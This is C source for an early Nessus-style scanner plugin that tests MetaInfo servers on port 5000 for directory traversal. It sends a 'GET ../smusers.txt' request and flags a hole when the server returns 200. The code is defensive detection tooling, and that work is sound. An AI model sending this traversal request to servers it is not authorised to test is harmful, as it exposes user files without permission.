/*
 * 
 * metainfo_mail
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "MetaInfo servers"
#define DESC "Several versions of MetaInfo servers allow remote\n\
users to read file they are not allowed to, by entering '../../'\n\
in the URL.\n\
Platform affected: WindowsNT\n\
Risk factor : High"

#define COPYRIGHT  "discovered by Jeff Forristal <jeff@WIRETRIP.NET>"
#define SUMM "Read everything using '../../' in the URL"




PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "Remote file access");
	return(0);
}

/* This plugin was written quickly and dirtily 
   we just attempt to get smusers.txt 
 */

PlugExport int plugin_run(struct arglist * env);
PlugExport int plugin_run(struct arglist * env)
{
 if(host_get_port_state(env, 5000)>0)
 {
  char * command = emalloc(200);
  short soc=-1;
  short i=0;
  char * buff = emalloc(256);
  
  sprintf(command, "GET ../smusers.txt HTTP/1.0\nhostname: %s\n\n",
         plug_get_hostname(env));
          
  soc = open_sock_tcp(env, 5000);
  if(soc <0){
  	efree(&buff);
        efree(&command);
        return(0); /* couldn't open a connection */
        }
  send(soc, command, strlen(command), 0);
  read(soc, buff, 255);
  efree(&command);
  close(soc);
  if(strstr(buff, "HTTP/1.0 200 ") || strstr(buff, "HTTP/1.1 200 "))i=1;
  			 /* No error */
  else i=0; /* Error */
  efree(&buff);
  if(i)
  {
   post_hole(env, 5000,
"The remote server doesn't restrict you to the root\n\
directory.  By using /../ notation, you can escape to higher levels of\n\
the file structure, and retrieve known files.\n\
Solution: download a patch");
 }
 }
 return(0);
}

